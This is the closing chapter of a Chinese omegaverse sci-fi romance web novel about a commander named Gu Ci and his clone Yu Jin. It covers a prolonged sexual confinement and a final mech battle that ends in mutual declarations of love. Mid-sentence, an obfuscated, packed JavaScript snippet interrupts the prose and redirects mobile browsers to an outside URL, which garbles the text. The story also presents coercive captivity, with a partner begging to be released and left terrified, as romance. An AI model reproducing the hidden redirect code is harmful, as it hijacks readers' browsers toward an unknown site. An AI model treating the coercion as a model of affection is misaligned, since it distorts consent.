什么都看不见的顾瓷感官仿佛被放大了无数倍,然后他感觉到余烬舔舐啃咬起了他后颈的腺体,犬齿若轻若重的磨挲着,顾瓷浑身的神经都酥麻般的炸裂开。 下一瞬,是两股气息相同的信息素的交织纠缠,余烬引导着顾瓷将信息素侵入释放在他身体里,他也将信息素注入顾瓷体内。 他们的气息彼此交融,融为一体,更加的贴合也更加的相似……不,他们本来就是一样的也是一体的。 身上出了些薄汗的顾瓷无端地感觉到了恐惧,他无力地趴坐在余烬身上,像是在等待被黑暗深渊中的恶兽扑食。 黑暗似乎更加浓重了些,顾瓷被特殊治疗仪提升了些许身体素质的身子也全然抵不住恶兽的攻势,他被残忍粗暴地撕食,每一寸血肉都被碾碎了般,难熬的痛苦让他快要发疯和求饶。 顾瓷后肩那对漂亮而单薄的蝴蝶骨微微起伏着,那里面仿佛要生出一双薄翼,带着他脱离这片无尽颠簸风浪四起的欲海。 只是,这场黑暗长夜囚锁住了沉沦其中又妄图挣扎的蝴蝶的翅翼,长夜中只剩下压抑破碎的啜泣声。 顾瓷直到易感期过去也依旧沉沦在这片封锁的黑暗领域中,分不清外界流逝的昼夜,他几乎快以为见不到天明。 “余烬,放我出去吧,我受不住了。”顾瓷在这场放纵的中途,意识崩溃地乞求着,他此刻疯狂地想逃离这片黑暗。 余烬的声音从耳边传来,温柔隐忍:“您曾经……修改过那些构造束缚着我的设定,我的身体会本能地遵循你修正的设定,那时我独立的自我意识并没有被抹灭,只是被一道又一道的指令形成的意识枷锁捆住。” “那个时候,我的灵魂就是被困在了这片狭隘黑暗的精神牢笼里。”余烬紧紧拥抱着在崩溃中不住颤抖的顾瓷,语气虔敬得如同回到了虚拟的游戏世界里。 他说着很残忍的旧事,却揉杂着浓重的爱意。 顾瓷呼吸微窒,压抑着心口刺痛的难过,他声音发着抖,不确定地问:“所以你恨我是吗?余烬,你现在是想报复我?” 余烬安抚地顺了顺顾瓷紧绷着的后背,在顾瓷耳边声音低哑地轻语:“我怎么会恨您,怎么会报复您呢?您是创造了我的神明啊,我只是想让您能再多心疼我一点,我在乞求您垂怜的爱意。” 顾瓷哑然,在他又一次沉默的纵容下,颤抖和哭泣无法遏止地在长夜中延续下去。 痛苦刻入骨血,在灵魂中滋长,润养了极致而疯狂的爱意。 …… 顾雾航在得知顾瓷进入易感期后就将顾瓷的指挥官休息室隔离开来了。 顾瓷体质特殊抑制剂起不了太多作用,顾雾航起初还一脸愁容地想着要不找个干净的Omega送过去,但得知顾瓷和余烬一天都没出来过后,他就知道他们在做些什么见不得人的事了。 但第五天顾瓷还没出来,顾雾航满脸黑线地发了一整天的脾气,连他身旁日常嘴欠的宁昭延都跟着遭了殃。 压着怒气忍了一星期,那间被隔离的休息室依旧毫无动静,顾雾航最后直接忍无可忍地踹开了顾瓷休息室的门。 房间里空无一人,只残留弥散着冬雪信息素的味道。 顾雾航突然慌乱起来,他想起顾瓷跟他说过永远不要对余烬放下戒备,他们在余烬手里没有反抗的余地…… 顾雾航心中咯噔一下,他不敢深想陷入易感期的顾瓷被余烬带去了哪里,只是调了监控并且发疯般下令搜寻基地每一寸角落。 距离顾瓷进入易感期的第十天,余烬抱着顾瓷悄无声息地出现在了房间里,他出门去要了些食物。 顾雾航第一时间就得到了消息,他匆匆赶去那间翻了几遍都没找着人的休息室,然后看见了趴躺在沙发上满身於痕一动不动的顾瓷。 顾瓷的眼中几乎没有任何光亮,他神色恹恹地,只在看到顾雾航出现时,微微动了动,声音虚弱沙哑地说:“哥……我想回家。” 顾瓷这副模样,就像是被折腾、榨干、吸尽精血般了无生气,甚至恍若没有了世俗的欲望,眉眼间只余下对一切淡漠的厌倦。 “余烬这个畜生!”顾雾航嘴里咒骂着,用沙发上的毯子遮住了顾瓷,小心翼翼地将他抱起。 顾雾航刚抱着顾瓷走出房门,就被寻食回来的余烬堵住了去路。 余烬神色冰寒冷峻,他没有说话,伸手就要去抱顾雾航怀中的顾瓷。 在看到余烬的那一刻,顾瓷不自觉地抖了抖,他往顾雾航怀里缩了缩,声音颤抖:“你别碰我了。” 现在余烬的每一下触碰,他都有条件反射的肌肉记忆,他实在是怕极了。 顾雾航被余烬的精神力压制得动弹不得,即使千般不愿,怀中的顾瓷还是被余烬强硬地抱走了。 余烬将顾瓷抱回屋,把拿到的水和面包一点点喂给顾瓷,他揉了揉顾瓷多日没有进食的肚子,安抚地说:“吃点东西吧,别这样就出去。” 顾瓷甚至没有推拒的力气,任由余烬给他喂食,然后清理身子换上干净的衣服。 屋外终于被松开了压制的顾雾航再次一脚踹开了门:“你他妈给我滚去前线,别在这儿祸害小瓷。” 得知这边动静的宁昭延从屋外探出一个脑袋,然后就看到暴怒到要揍余烬的顾雾航,他咳嗽两声,上前制止了这场“家暴”的发生。 拽住顾雾航的宁昭延目光扫过余烬和他怀中的顾瓷,打趣地说:“顾指挥官的口味挺重啊,对着自己那张脸也下得去手,现在整个基地都知道你和你自己的复制人那啥那啥了。易感期消失了十天,真得牛。” 宁昭延这话简直是在火上浇油,顾雾航直接连着他一起揍。 余烬随意地挡下顾雾航的攻击,他大致翻了翻这十天里终端里收到的讯息,然后抬起头问道:“联邦和帝国交壤的那块星海有虫族出没?帝国邀我们联合发起进攻?” 顾雾航这才稍稍敛下怒气,他一脸正色地对余烬说:“是场虫族的大规模侵袭,目前为止没有出现虫后的身影,但是联邦军方和帝国还是都希望你能出战。” 宁昭延吹了吹口哨说:“顾队长,这已经是七天前的消讯了。” 余烬不太在意,他看向怀里的顾瓷,神色温柔地对上顾瓷有些涣散的眼睛:“想去看看科特勒星系那片有名的幻彩色玫瑰星海吗?和我一起?” 顾瓷下意识地应道:“好。” 但联邦军方并不会允许体一个病弱的复制体上战场,余烬便把顾瓷藏在了自己异维度的精神领域里。 被再次困在极尽黑暗里的顾瓷瞬间就被这十天里可怕的记忆淹没,这一次不仅没有色彩和光线,也没有除他自己以外的任何声音。 一道熟悉的精神力安抚着他紧绷的神经,不自觉发着抖的顾瓷渐渐平静下来。 顾瓷思绪逐渐放空……这里是余烬的精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888627|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领域,他没什么好怕的,只是多少有些压抑。 但顾瓷会愧疚地想起余烬游戏里时被困在这里的光景,他觉得余烬那时一定很难过很难熬,便心软地接受了余烬把他私藏在这里。 而看到顾瓷凭空消失的顾雾航,追着余烬一路逼问他把顾瓷藏在了哪里:“你他妈又把小瓷弄去哪儿了!” 余烬往常面无表情的脸上露出恐怖而餍足的病态笑意:“在我的身体里。” “你这只恬不知耻的异维度衍化生物,你居然敢吃了小瓷,老子跟你拼了!”以为余烬把顾瓷怎么样了的顾雾航一副要和余烬拼命的样子。 宁昭延被如此恐怖的余烬吓得抖了抖,他一把抱住失控且胡言乱语的顾雾航:“冷静点冷静点,小瓷肯定不会有事的。” 争闹不断的三人带队坐上了基地驶往科特勒星系Q-312星海的星舰,余烬径直去机甲舱找他那台修补好的银白色SS级重型机甲。 星舰经过几个折叠的空间迁跃点,很快到了Q-312星海,此地原本是有名的星际景区,但现在到处都驻扎着帝国的军队。 空气中弥漫着战火和硝烟的味道,星海中的破碎星流时不时出现隐匿其中的虫族,引起一阵骚动,却又打不起来。 帝国的战士这七天里已经被耗得格外疲乏了。 银白色的重型机甲从联邦刚抵达的星舰中驶出,在没有任何来自军方的指令下冲进了这片玫瑰星海。 银白机甲的主控室中,被从精神领域放出来的顾瓷坐在余烬腿间,顾瓷低着头,抿了抿唇说:“对不起。” 他还是在为他曾将余烬的灵魂困在黑暗牢笼中而歉疚。 余烬低头吻了吻顾瓷的耳尖,怀中的人裹满了他的气息,他轻声说:“你不用为任何事向我道歉。” “我很想知道……余烬,你被我剥离意识、困住灵魂的那个时候,是不是特别难过。”顾瓷声音有些压抑,“会哭吗?” 余烬没有立刻回答,他覆身拥抱住顾瓷,拉起顾瓷的手放在这台重型机甲的操控台上。 他们此刻已经深入星海最中心的那朵星云中,隐匿其中的虫族也被孤身闯入星海的机甲引了出来。 精神力笼罩操控着整座机甲,余烬握着顾瓷的手输入指令,他语气认真虔诚地如同在说宣誓的情话:“我的生命、灵魂都是你的,你有权肆意支配和处置。” 侵袭过来的虫族被机甲的重炮轰成碎渣,在顾瓷快速适应主控台的操作后,余烬松开顾瓷的手让他自行操控机甲。 余烬轻轻搂住顾瓷的腰肢,没有到影响顾瓷的操作,他低声说:“那个时候没有哭,只是坚定地觉得只要你还一直与我同在,就算将我的意识永远拘在黑暗囚笼里,我也甘愿。” “好傻。”有余烬的精神力撑着,顾瓷很轻易的驾驶机甲穿过破碎星流,他轻笑着,有些心疼地说,“我的余烬怎么会这么傻。” “现在不愿意了。”余烬撩了撩顾瓷额角的碎发,全神贯注地看着怀中的人。 顾瓷落在方位键的手指快速敲出一个漂亮的闪避指令,精准地躲开虫族从这片星云的磁场乱流中抛过来的巨石。 任由余烬玩弄着他的头发,顾瓷刻意拉长语调,好奇地问:“嗯……?现在变心了?” “我不甘心只让你隔着一个维度遥远地注视我,不甘心永远没办法触碰到你,我想要拥抱亲吻你,想要你在我的眼前,眼睛只看着我一个人。”余烬将蓄好能的量子重炮对准这片星云的星核。 顾瓷计算好精准的投射轨迹后输入发射指令,没再看光屏,他转过身抬头注视着余烬:“我就在你的眼前,拥抱我亲吻我吧,我的眼里只有你一个人。” 星核被击碎,巨大的空间动荡扩散开,这片星海中隐藏的虫族的身影全部被迫暴露出来,在余烬驾驶机甲闯入这片星海之时就已经布防包围在外围的帝国、联邦军队顺势发起攻击。 而还留在这朵星云中心的银白色机甲落了满身幻彩色的星尘,粉紫色的星云如同凋朽前极致盛放的玫瑰般在无垠星海中绽开,在时间中留下永恒的绚烂盛景。 顾瓷身后映着绚丽绽开的星云之花,余烬却觉得这星海盛景远不如顾瓷泛着红晕的艷丽面容夺目,顾瓷此刻的笑颜几乎摄走了他所有的心魂。 顾瓷捧起余烬的脸,他眼中盛满着余烬的倒影,在时间定格的这一幕中,深深地吻了上去。 “余烬,我爱你。” “我也爱你,我的神明。” —end—